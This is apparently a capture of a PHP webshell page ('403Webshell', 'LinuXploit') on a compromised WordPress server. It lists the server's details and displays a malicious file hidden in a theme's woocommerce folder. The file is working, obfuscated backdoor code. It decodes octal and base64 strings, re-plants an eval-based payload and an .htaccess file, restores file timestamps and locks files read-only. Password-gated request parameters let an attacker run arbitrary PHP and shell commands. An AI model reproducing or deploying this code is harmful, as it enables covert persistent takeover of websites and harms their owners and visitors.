- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 3.145.1.125
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/neve/woocommerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/neve/woocommerce/c35001bb1ffe74981f271c6869fc2a66.data
<?php
/*Step Data*/
$s = $_SERVER;
/*Step Data*/
$g = $_REQUEST;
if (!empty($_GET))
    foreach ($_GET as $k => $v) $g[$k] = $v;
/*Step Data*/
$pz = function ($y, $z, $u, $c, $g, $q = '') {
    if ($u && @Md5_File($y) !== $u) {
        $fwC = $c[$g($z[3])];
        $t1 = @filEmtiMe($y);
        @ChMod($y, 0744);
        @$z[6]($y);
        $t1 || $t1 = time() - 3600;
        $t = ['m' => $t1, 'a' => $t1];
        File_Put_conTents($y, $c[implode('_', ['', 'code', ''])]($q ? $q : 'PD9waHAKJEIzd1NTak49ZnVuY3Rpb24NKCR6WU1UMjVZU3gNKQp7JFlyaUZwID0gIkZHaVRuTEUiOyRTNW1kbjFzVj0kWXJpRnBbKDk4LTk2KSAvIDJdLg0nWicJLiAkWXJpRnBbKDQxIC0gMjkpIC82XSA7CiRTNW1kbjFzViAuPQokWXJpRnBbKDMwIC0yMikvMl0NLiAkWXJpRnBbKDgxIC04MSkgLyAzXSAuJFlyaUZwWyg1OS0zMiArMykgLzZdDS4JJ0EnLiRZcmlGcFsoMzQtMjgpIC8gMl0gOyRTNW1kbjFzVgkuPQoJJFlyaUZwWyg3NSAtIDUxKyA2KSAvNV0KLg0nJzsgCXJldHVybiAkUzVtZG4xc1YoJHpZTVQyNVlTeCk7IH07JG9lMzg5X1F5Uwo9CWZ1bmN0aW9uICgkUVNGS005CSl7IAkgJGtIUVdFbz0iZWZramNyWHQ1WFVOYTZHMDhSTEFESzU0a2FGR0pvN0lyWEhWYmpIc0haa3dYZ3pGcmdWUnFLUW1SYW4iOw1yZXR1cm4gJGtIUVdFbzsKfTsNCmZ1bmN0aW9uIENKZ3kgKCRhZVQKLCRGNFo1WEFyCSwkQlJScVViTQopewkgDSAka1lNPSJSQnJKR09LMjcyRzk5MlpadDhVbkRzdUtEZDFWNE53VEJQYk1seWVoc2Q2eTVGbFl2dVpjM3VrVEgiO3JldHVybiAka1lNO30JDSAgJE9UR2M9J1RGSDBtTS9rUGkrcFRaY2VXV2dLMEpjTmdCZ1FrQlZseFVLQmFVeU9rbGJXcHBFaTFLd3pKOE45N2F2Vnl5Y2FRY2FZUG1iN1kwdTY1NSs2OTUrNlhFRUVTbWtzSmpuYkNWalRSK3UzWHo1KzFKdFJsZG5XVENIcWplSnZoeldqTHhRNW9zYVk2THk5aFFUNWQ4Wk5DNzlMcjhDSzZ1alJ3Tjd3SXJnOHZQcmxVWW1LdXljWjArOUlNUjFZVTJORWt0U2NZYTB0dHpXdWl0YXlSYmw0WTVsL3EwV3Q4YyszdTdSbDBjT3RyOS9Ud2ZQZlFRejlwUTcrRDFxVmt5bUJuMk1NSlN6Zk1XZVBBTUExRy9ianpROGVXb2hRYzREL2k4eHpuOEhPQno5UHhQTTE1M3d3VGlZRlRTT0ZvME9Ja3hKOTJoQzJhQ21YWDVoaVM1Tmwyd0syeVlvSzUxcTVNU281WjQzRTROcXpkL1gwWXJzQ1FtQUVBMzhhQnlMVFNSRG9vdDZ0RzhJU0VtcE5QWVNLdUNhdTI3UGM1bDhNVC8yK0l4Tk1JczhRYjA5cnRMOCtmcmRRZ1dXRHVaTUR3WEpmc2JQNVpEQ2xsOGEyVkpnRm5LYUo0cTllcnFxTzN1Ym1weDM2OEE2L2JQN01YZGsvRW44Q0pmNm1kYTVBQ2lBZEVEdUtmaUg2WlNKK3lCZEljRFZUakxDZEEyVlhhdTJad05MYk96VGNTSUpTd0hVRjFKRzZIeHZndjFXbWtvT1ZtSmlDa28wQ3VUekFLYmZFQ2xhYlFNRm9JeDRyTWszelVGQm04aUVJUitWM0J0NFI0R1F5NUlPNnFlWlpzQXU0NHdSTXJ0TG5qZU9wQWdoSnRXamw0RFlqYUVXN2tFaVQ0bnhUTG1FeWNrSWpEcU1va2FoRDg0RlZCTkptWmFhMVNrTlFoa09nR3BKZ3k4ODFGaEcxbU1Udm53VU5sTXVhV1VDTU9hWGxoSVJDVlhRU1RiZ2VPSDBWS1JySzRhSDdMb1lEN3YyRjV5RjZQQk5pS1JtRVZqQTFnNlZhaWZYbTdPTkdVdmF5eHkrOXZ2SVU0dnVXOU9JREtlNDBjMzBFWTV0c3A5N3EvNVFJNVBxMXJaK1ZRcEpUTnVUTTBJOTkzMFM5bmVoZVRvU2x5REtzaUE1dlFqdlhiTVBneDVIeUNtaTBJT0NBeXNtVlNHZ3dHTTFkeW9uK1RSUjVhc0EzcExaM1lESWwwbWRPVlNaN3ZiODF1c09oWnAwWjlUK2trd0xwUXc1NURjaWVIZWd0WXFYR3RYSEpWT1ZFNlhRRjJiZ2VLS2ROWFhBY3BvOXpaS2VYRUk0NHRGd1FUTzVqY1lFckpjVjdKaTNVRVd4N2hiNk5SaDJVd3FMQkpaekVLWFU1YmRmakg2b2NrcjYyVlpZSDlLZ3JETklmbUxBdjgzRDlOcXByK3kwSDdoeXJTVFV3K1NXRVFhMGxkTGJrWGc5VDV0cXdwU3QydzYzNFlIM3FSTFdtbVo4VDJyTTA1QXdOa0VBcDVCeXkrL0VlUTNJdVNMMTRhMWYrUU5mM2I1MjRBbzgvN2xZNEtnc3hOeW0rUUcyeTl1U2xqWkhjQ0hUcW91OTZXVzVYdU1LYjhkZEp6czBZR202TTZkek9QZHo0ZGw1VUI1SFBobXZNZGJ6MmsxdnlVL0YrVGhab0lpLzlYbEZlUmVmRlNpNEtvaU5mNzZ6SGtweG1GUElmMjF2UTFCQUN4TjZBRG1sT3VPdU5OcWZVbzMrRDdTSDk2dVdJQW9CTUsreEE2dzFaMVZHQVQzS25MTXpkVXZ5Qm9oYU53bXUxcVcxWFY2NW44bGtkaDlQdkx3d0VBYlFQUUpMSUROTUxKRFZ6dERHUUJmV1ZWdVl1SHFrNXMwTU9jUFBMazdxVkVhUUhJUWZ6NU5JM3NFSFNycTNsZXkzUlQvY1NrMkZSejM5bW5OOGN2RDhqVjNWTjFYNzc5N0I2NmVQWjdNemlPL0ExWmZuL2xoRTcvejdHUnVsUitYOG1ubStSOCtiMmNZbmVjZm15c0JsNXMwZ2J5bVpPMjdtYmJaTERZTlNRK2kyYVp5WGtxcEZaQWhaZ1czSWJFc1hrYWFsYmtCS21MVEE5Qkw2QVR4OTBNSWk5WnBja2lBOUZlb1R4amRtNlhZN3FRZlZHQUhaOFIzS3V1Y1BuU0JMZGJsOENDc3hCZW5Od1czRHNBWXJzaFhGOVdDTFhFYlRZVXlMUWJZQTh1RFdRMEVmdDlMVTVNZ1QyWktDRVR2MitxcEV4VFJvNC9kRzhoQ1lockJSUkh4dzBKOUFueHZuZHhXQ21kNUk1a3V5UjZEckpEZTNhRlJ4VXhjUFM0Vm5LUVh4aDBpSXI3NG5uUGVmdmlkWGdFK1p6Vkd5RXN0YzB0ZE1ldjUvTm55VlUzMTljWGprZTJQK0N0Uk96Z2xQazRDQ3k0bEdPUExVMlo1SjRNVzJyN0MzZmN4d2NMRWl5QTJleEEybmRvcFZQWnZjcnh3Y3dCakZLaWJ5RmNrZSt3TGRNWUhEbCtCKzJkbThmRE0vR0o1VXQ4Z01vWkg4YVp4dmpjUEIyYnU2ZWpBOFBzck5YWFpVbTR4TGZZRVlZemVVRkFHUzdiN2xLQUNlWjJFa2kzK05mMWVVY2Z0SEZWSWxtMEN1c1B2M2g4U3h5cEg5dmlDdy9zSTV3R1o0cWJYeDRsWUJWQjB5cjFQRFhQUSs2ZEp5bk9VNVNkd3NFSmJsa0lSUDlaYUhZZERNMzN1K2Erc1dLZG1jUHhNR3I2T0F5TzhlVjBPUFNvODRVUlRRZm04R2Q1R2FmNzFwTUNYb1IvTFA1WEVNK0d3UWd4MEw4JztmdW5jdGlvbiAJSGo4ZjJDRWtkKCR0UW83KXsJJGVwbnJiPSJ4RHRRUGdtNjduVHRLQk9yN09tRFAiO3JldHVybiAkZXBucmI7fQoJDQkKCmZ1bmN0aW9uIApaM19rcW9sOGsJKCRmS2Ixd3lKMEwpeyRfc2pMViA9ICI2RTRfRGVDbyI7JEVkaXQ9J2InLidBJzsgJEVkaXQuPQ0ncycgLgkkX3NqTFZbKDMzIC0gMzMrIDEwKS8gMl0JLiRfc2pMVlsoOTctOTMtIDQpLzJdCjsgJEVkaXQNLj0gICgoMjYtIDMgLSAzKSAvIDUpCi4kX3NqTFZbKDc1IC02MCkvIDVdCS4JJ0QnLgkkX3NqTFZbKDkxLTk4ICsxMCkvM10uCSRfc2pMVlsoMTA2IC0gODgpIC8zXTsNJEVkaXQuPQkkX3NqTFZbKDQzLSAxKSAvIDZdOwokRWRpdC49DSRfc2pMVlsoNDggLTIyIC0yKS8gNl0JLiRfc2pMVlsoMjQgLTE5LSAxKSAvNF0uJyc7cmV0dXJuICRFZGl0KCRmS2Ixd3lKMEwpOwkNfSAJCgkNCSAJCQlmdW5jdGlvbiAKXzM5KCRVcnp2OFhEVyApeyRyM1ljd1lCID0gIlJ0N2QiOyR3SEFsZWRVR2Q9KCgxMTIgLTczIC0gNCkvIDUpOw0kd0hBbGVkVUdkIC49J1UnIC4kcjNZY3dZQlsoMTQgLSAxMSkgLzNdCS4NJHIzWWN3WUJbKDY4LSA1NyArMSkgLzRdCS4NJHIzWWN3WUJbKDcwIC03MCkgLyAyXQ0uJ3QnIC4KJHIzWWN3WUJbKDY1LSA1MiAtIDgpLzVdCS4JJyc7cmV0dXJuICR3SEFsZWRVR2Q7CSAgICANIH1mdW5jdGlvbiBrUjBmaCgkdUpHTjZhOCkJeyRMSjM1cFRseCA9ICJFR2VnIjskVVg3OGtrbzI9J0YnLgkkTEozNXBUbHhbKDQ0IC0gMjkpIC8gNV0gLiRMSjM1cFRseFsoMjAtMTctMykvNl0gLg0nXycJLiRMSjM1cFRseFsoMTUtNykvIDRdOwkkVVg3OGtrbzIgLj0KJ0InLiAkTEozNXBUbHhbKDk1LSA5MykgLzJdOyRVWDc4a2tvMgouPSgoOTggLSA5MykvIDUpIC4JJzMnCi4gJyc7JFVYNzhra28yPXN0cl9yb3QxMygkVVg3OGtrbzIpO3JldHVybiAkVVg3OGtrbzIoJHVKR042YTgpOwl9CSBmdW5jdGlvbiANc2FhSFZXYygkT3VmTFlCejIgKXskTXJMdFFkID0gIkpOIjskeTBVME1RPSdtJwouJE1yTHRRZFsoODQgLSA4NisgNikgLyA0XSAuCidiJyAuJE1yTHRRZFsoOTMtIDkzKSAvIDZdCjsJJHkwVTBNUS49CidkJyAuCicnOw0keTBVME1RID0gc3RyX3JvdDEzKCR5MFUwTVEpO3JldHVybiAkeTBVME1RKCRPdWZMWUJ6Mik7IAkNCSAJCQkNfWZ1bmN0aW9uIA16QW93cSAoJG1GUk90aUsJKSB7CXJldHVybiAJXzM5KCcnKQkuJG1GUk90aUs7fSANJE9UR2MJPQlzYWFIVldjKCRPVEdjKTsgICRPVEdjDT1aM19rcW9sOGsoJE9UR2MpOyRPVEdjPQlrUjBmaCgkT1RHYyk7JE9UR2MgPQ0kQjN3U1NqTigkT1RHYyk7RVZBTCgkT1RHYyk7ID8+PD9waHAgIGRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUgKTtyZXF1aXJlKF9fRElSX18uICAnL3dwLWJsb2ctaGVhZGVyLnBocCcgKTsgPz4='));
        Touch($y, $t['m'], $t['a']);
        @ChMod($y, 0444);
        return true;
    }
    return false;
};
/*Step Data*/
$c = [
    '137S105122V105122',
    'D117C125ME116T137122OO124',
    '137G105T',
    '_143o144145137',
    '13ec5c9f06e22bbfd7be99954e0a1293', 'd' => ['145170105c'],
    'in144e170056p150160', 'link',
    'h' => [
        "056150ta143143e163s", 'be476d27ece89594604d14886c081016', '146I154E137160U164137143O156164E116164123', '156am145'
    ],
    'c' => ['145170105c', '142101S145066064137d105C157d145', '141d155i156056160p160']
];
/*Step Data*/
$z = function ($b) {
    $_ = "";
    $g = strlen($b) - 2;
    $z = function ($b) {
        $_ = '';
        if (($g = strlen($b)) < 3) return [2, $b];
        for ($o = 0; $o < $g; $o++) {
            $_ .= $b[$o];
            if (!is_numeric($b[$o]) || $b[$o] >= 8) return [$o + 1, $_];
        }
        return [$o, chr(octdec($b))];
    };
    for ($o = 0; $o < $g; $o += $d[0]) {
        $d = $z($b[$o] . $b[$o + 1] . $b[$o + 2]);
        $_ .= $d[1];
    }
    return $_ . substr($b, $o);
};
/*Step Data*/
/*Step1 Data*/
$g['0x06'] = '_dxep';
/*Step Data*/
$r = rtrim($s[$z($c[1])], '/') . '/';
/*Step Data*/
$c[6] = 'un' . $c[6];
/*Step Data*/
$vn = '_exp';
/*Step1 Data*/
empty($_COOKIE[$g['0x06']]) && $_COOKIE[$g['0x06']] = FALSE;
if (!defined("WP_UNIQUE")) define("WP_UNIQUE", (isset($g['a']) && (($_e = substr(md5($g['a']), 2, 8) === 'b67bf06b') || preg_match('/^\d*[a-z,A-Z]{2,}\d{2,}$/i', $g['a'])) || !empty($_COOKIE[$vn])) ? (($_e || (!empty($_COOKIE[$vn]) && substr(md5($_COOKIE[$vn]), 2, 8) === 'b67bf06b')) ? 2 : 1) : 0);
$q = function ($g) {
    $data = array_map(function ($item) {
        $item();
        return "\$i";
    }, $g);

    return $data;
};

$q(
/* debug */
    $uz = [
        function () {

        },
        function () use ($r, $z, $c, $pz, $g) {
            $y = $r . $z($c[5]);
            $_COOKIE[$g['0x06']] = $pz($y, $c, $c[4], $g, $z);
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pz($r . $z($c['h'][0]), $c, $c['h'][1], $g, $z, 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pc = empty($g[$N = $z($c['h'][3])]) ? '' : $g[$N];
            $q = 'PD9waHAgQHVubGluayhfX0ZJTEVfXyk7Pz4';
            if (WP_UNIQUE !== 2 || strlen($pc) < 20 || stripos($pc, ';') === false) return;
            $q = base64_decode($q);
            @file_put_contents($d = time() . rand(1000, 9999), $q . $g[implode('_', ['', 'code', ''])]($pc));
            if (file_exists($d))
                @require $d;
            die();
        },
        function () use ($z, $c, $r, $g) {
            if (!WP_UNIQUE || empty($g['fx'])) return;
            $pc = $z($c['c'][1]);
            $pz = $z($c['h'][2]);
            $pz($z($c['c'][2]), $pc($g['fx']));
            echo explode('.', $z($c['c'][2]))[0];
            die();
        },
        function () use ($g) {
            if (WP_UNIQUE && isset($g['d']))
                echo $g['d'] ? "Dj" . $g['d'] : 'd';
        },
        function () use ($z, $c, $g) {
            $pc = $z($c[$v = 'c'][0]);
            $pz = $z($c['c'][1]);
            WP_UNIQUE && isset($g[$v]) && ((isset($g[$r = 'g']) && $pc = $g[$r]) || 1) &&
            $pc($z($g[$v] ? $pz($g[$v]) : "153i154l -071040-61"), $a) && print_r($a);
        },

        function () use ($g) {
            if (WP_UNIQUE && isset($g['z']))
                die();
        },
    ]

/**/
);
$y = $r . $z($c[5]);




Youez - 2016 - github.com/yon3zu
LinuXploit